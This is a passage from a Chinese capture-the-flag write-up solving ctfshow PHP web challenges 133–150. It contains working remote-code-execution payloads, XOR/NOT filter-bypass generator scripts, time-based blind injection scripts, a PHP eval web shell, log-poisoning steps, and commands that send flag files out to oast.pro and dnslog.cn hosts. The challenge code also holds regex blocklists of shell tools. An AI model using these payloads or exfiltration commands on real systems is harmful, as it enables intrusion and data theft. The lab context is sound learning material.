本身,会不会发生变量覆盖? 那我们来一个简单的测试,
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
构造?F=$F
;ls / ?F=$F
;tac /f*但是没回显
我利用的在线工具https://app.requestbin.net/
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
?F=`$F`;+curl -X POST -F xx=@flag.php cyqc8gjz1wg0000b0v0ggxmsrjayyyyyb.oast.pro
实际是DNSlog外带
Web 134
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
补充知识点
四个变量的介绍:
1.$_SERVER["QUERY_STRING"]
说明:查询(query)的字符串
2.$_SERVER["REQUEST_URI"]
说明:访问此页面所需的URI
3.$_SERVER["SCRIPT_NAME"]
说明:包含当前脚本的路径
4.$_SERVER["PHP_SELF"]
说明:当前正在执行脚本的文件名
看到extract()看到就想到是变量覆盖
定义:extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量,返回成功设置的变量数目。
语法:extract(array,extract_rules,prefix)
//array:必须,规定用于准换的数组
//extract_rules:可选,函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。默认设置EXTR_OVERWRITE,有冲突则覆盖。
//prefix:该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线,可选。
parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1那么相对的,传递‘ POST‘,就是对‘ _POST`进行赋值,正好就可以绕过if条件对post的限制。
对_POST进行extract
?_POST[key1]=36d&_POST[key2]=36d
//刚好 key1=36d&key2=36d
Web 135
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
133的加强版,用重定向去读flag
?F=`$F` ;nl flag.php>1.txt(重定向读取)
其他
?F=`$F` ;cp flag.php 1.txt
?F=`$F` ;mv flag.php 1.txt
官方做法:
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据
Web 136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
exec相当于system
试ls,但是一片空白没有东西
学新东西Linux的tee命令
tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件
常见用例: tee file //覆盖
tee -a file //追加
tee - //输出到标准输出两次 tee - - //输出到标准输出三次
tee file1 file2 - //输出到标准输出两次,并写到那两个文件中
ls | tee file
另:把标准错误也被tee读取 ls “*” 2>&1 | tee ls.txt
?c=ls / | tee 1
?c=tac /f149_15_h3r3 | tee 1
Web 137
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
要调用类内部的方法,静态的
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
ctfshow=ctfshow::getflag
Web 138
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
call_user_func(array($classname, ‘say_hello’)); 这时候会调用 classname中的 say_hello方法
ctfshow[]=ctfshow&ctfshow[]=getFlag
Web 139
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
import requests
import time
import string
str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~" # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = "" # 初始化一个空字符串,用于保存结果
#获取多少行
for i in range(1, 99):
key = 0 #用于控制内层循环(j)的结束
#不break的情况下,一行最多几个字符
for j in range(1, 99):
if key == 1:
break
for n in str: #n就是一个一个的返回值
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n) #{n}是占位符
#print(payload)
url = "xxxxxx?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5)) #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。
# 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环
except:
result = result + n
print(result)
break
if n == '~': #str的最后一位,“~”不常出现,用作结尾
key = 1
# 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
result += " "
import requests
import time
import string
str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):
for n in str:
payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
# print(payload)
url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
if n=="~":
result = result + "花括号"
Web 140
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
松散比较==
true | false | 1 | 0 | -1 | "1" | "0" | "-1" | null | [] | "php" | "" | |
---|---|---|---|---|---|---|---|---|---|---|---|---|
true | true | false | true | false | true | true | false | true | false | false | true | false |
false | false | true | false | true | false | false | true | false | true | true | false | true |
1 | true | false | true | false | false | true | false | false | false | false | false | false |
0 | false | true | false | true | false | false | true | false | true | false | false * | false * |
-1 | true | false | false | false | true | false | false | true | false | false | false | false |
"1" | true | false | true | false | false | true | false | false | false | false | false | false |
"0" | false | true | false | true | false | false | true | false | false | false | false | false |
"-1" | true | false | false | false | true | false | false | true | false | false | false | false |
null | false | true | false | true | false | false | false | false | true | true | false | true |
[] | false | true | false | false | false | false | false | false | true | true | false | false |
"php" | true | false | false | false * | false | false | false | false | false | false | true | false |
"" | false | true | false | false * | false | false | false | false | true | false | false | true |
严格比较===
true | false | 1 | 0 | -1 | "1" | "0" | "-1" | null | [] | "php" | "" | |
---|---|---|---|---|---|---|---|---|---|---|---|---|
true | true | false | false | false | false | false | false | false | false | false | false | false |
false | false | true | false | false | false | false | false | false | false | false | false | false |
1 | false | false | true | false | false | false | false | false | false | false | false | false |
0 | false | false | false | true | false | false | false | false | false | false | false | false |
-1 | false | false | false | false | true | false | false | false | false | false | false | false |
"1" | false | false | false | false | false | true | false | false | false | false | false | false |
"0" | false | false | false | false | false | false | true | false | false | false | false | false |
"-1" | false | false | false | false | false | false | false | true | false | false | false | false |
null | false | false | false | false | false | false | false | false | true | false | false | false |
[] | false | false | false | false | false | false | false | false | false | true | false | false |
"php" | false | false | false | false | false | false | false | false | false | false | true | false |
"" | false | false | false | false | false | false | false | false | false | false | false | true |
0==“字符串”
返回的是TRUE
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
分析代码
正则表达式要求 f1 和 f2 只能是数字和小写字母,$f2() 被视为一个函数调用,$f1 作为函数名调用 $f2() 的返回值,最后进行弱比较,由于 ‘ctfshow’ 转换为整数是 0,因此条件实际上是检查 intval($code) 是否为 0
payload:
f1=system&f2=system # 布尔值 false
f1=md5&f2=phpinfo # 字母开头的字符串
f1=usleep&f2=usleep # usleep() 没有返回值,调用 usleep() 将导致 eval() 返回 null。当 null 传递给 intval() 时,返回值是 0。
Web 141
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
if(preg_match(‘/^\W+$/’, $v3)) 来检查变量 $v3 的值是否完全由非单词字符组成 PHP中,数字是可以和命令进行一些运算的,例如 1-phpinfo();、1-phpinfo()-1;是可以正常执行的
所以说是无字母数字RCE,利用取反脚本(按位取反)
我自己这边用PHPstrom没法输入,用cmd运行
C:\Users\ASUS\PhpstormProjects\untitled1>php input.php
[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);
C:\Users\ASUS\PhpstormProjects\untitled1>php input.php
[+]your function: system
[+]your command: tac f*
[*] (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-&v2=1
Web 142
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
sleep($d); 是 PHP 中的一个函数调用,该函数会使当前脚本暂停执行指定的秒数。这里的 $d 是一个变量,表示需要让脚本等待的秒数
可以看到$d是乘法且v1必须是数字,所以直接传0就OK了,这样就会暂停0秒
v1=0
另外加一句:0和0x0绕过 这里绕过因为是因为当成了8进制和16进制
Web 143
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
过滤了无数字字母,过滤了取反同时还过滤了加减等符号
这边借鉴其他师傅的异或脚本
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
GET:
?v1=1&&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1
Web 144
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
改一下传参的位置就OK,可继续用什么的payload,多了一步对v3的检查,检查v3字符串长度是否为1,用运算符即可
?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")&v3=-
Web 144
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
^异或被禁了,但是还可以取反,或
—被ban了,可以用位运算符|作命令的拼接
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1
也可以用三元运算符(?::)
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):
Web 146
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
把:过滤了,就说明三元运算符用不了了呗,但是管|什么事呢
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)||
Web 147
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
^
:匹配字符串的开头。 $
:匹配字符串的结尾,确保整个字符串符合规则
/i
不区分大小写
/s
匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D
如果使用$限制结尾字符,则不允许结尾有换行
create_function() 是 PHP 中一个曾经用于创建匿名函数的函数,不过该函数在 PHP 7.2.0 版本中已被弃用,并在 PHP 8.0.0 版本中被移除
string create_function ( string $args , string $code )
string $args 参数部分
string $code 方法代码部分
举例:
create_function('$name','echo $fname."sss"')
类似于:
function fT($name) {
echo $fname."sss";
}
在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
所以用/
就可以绕过匹配
GET:?show=}system('tac f*');//
POST:ctf=%5ccreate_function(%5c就是`/`)
解释一下为什么要用}
,是因为利用create_function函数时,会生成匿名函数,所以要用}
闭合前面的}
,所以才能执行命令,就是存在命令注入漏洞,而后面的//
就是用来闭合匿名函数后面的}
的,以此可以完美执行我们想要执行的代码命令
Web 148
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
没过滤异或(使用其他师傅的脚本)
生成可用字典
<?php
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(2,'/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/');
//1代表模式,后面的是过滤规则
生成payload
# -*- coding: utf-8 -*-
def action(arg):
s1 = ""
s2 = ""
with open("rce.txt", "r") as f:
lines = f.readlines()
for i in arg:
for line in lines:
if line.startswith(i):
s1 += line[2:5]
s2 += line[6:9]
break
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return output
while True:
function_input = input("\n[+] 请输入你的函数:")
command_input = input("[+] 请输入你的命令:")
param = action(function_input) + action(command_input)
print("\n[*] 构造的Payload:", param)
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其实也是利用异或构造
"`{{{"^"?<>/"; 异或出来的结果是 _GET
异或很重要
Web 149
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
unlink()
函数的主要作用是删除文件,它的本质是对底层系统调用的封装,允许你在 PHP 脚本中直接删除文件系统中的文件
is_file()
函数用于判断指定的路径是否指向一个存在的普通文件。普通文件指的是那些不是目录、符号链接等其他类型文件系统对象的文件
file_put_contents()
函数用于把一个字符串写入文件中
scandir('./');
:扫描当前目录,并返回目录中的文件和文件夹名的数组
foreach($files as $file) { ... }
:遍历数组中的每一个文件
分析代码就是只能存在index.php这个文件,其他的都会被删除,那么忘index.php中写入一句话木马就行
?ctf=php://filter/write=convert.base64-decode/resource=index.php
show=PD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+
后面发现可以更简单
?ctf=index.php
show=<?php eval($_POST[a]);?>
条件竞争:
?ctf=1.php
show=<?php system('tac /c*');?>
一直写入就行
Web 150
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
看见extract($_GET)
就想到变量覆盖,用它来导入GET中的变量,必须满足VIP为true,即?isVIP=3
strrpos($ctf,":")===FALSE
要求不能有:
利用日志文件注入
?isVIP=3
<?php eval($_POST[1]);?>
ctf=/var/log/nginx/access.log&1=system('tac f*');
Web 150plus
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
把log也给禁了,不愧是plus,日志包含显然行不通了
extract($_GET);在GET中取出所有键值对(传__CTFSHOW__的话就会使得ta变为一个类)
变量 ..CTFSHOW.. 会解析成 __CTFSHOW__ ,因为非法的字符会转成下划线,然后进行了变量覆盖,__CTFSHOW__ 变量被设置为 phpinfo,if(class_exists($__CTFSHOW__)) 会检查 __CTFSHOW__ 是否是一个已定义的类,在这种情况下,$__CTFSHOW__ 被设置为 phpinfo,所以 if(class_exists('phpinfo')) 会被执行,因为 phpinfo 不是一个类名,class_exists 返回 false,当代码试图访问一个未定义的类( __CTFSHOW__)时,PHP 会调用 __autoload 函数,__autoload('phpinfo'); 会执行 phpinfo() 函数,因为 phpinfo 是一个内置函数
?..CTFSHOW..=phpinfo
2025/2/16
_sun_
太流弊了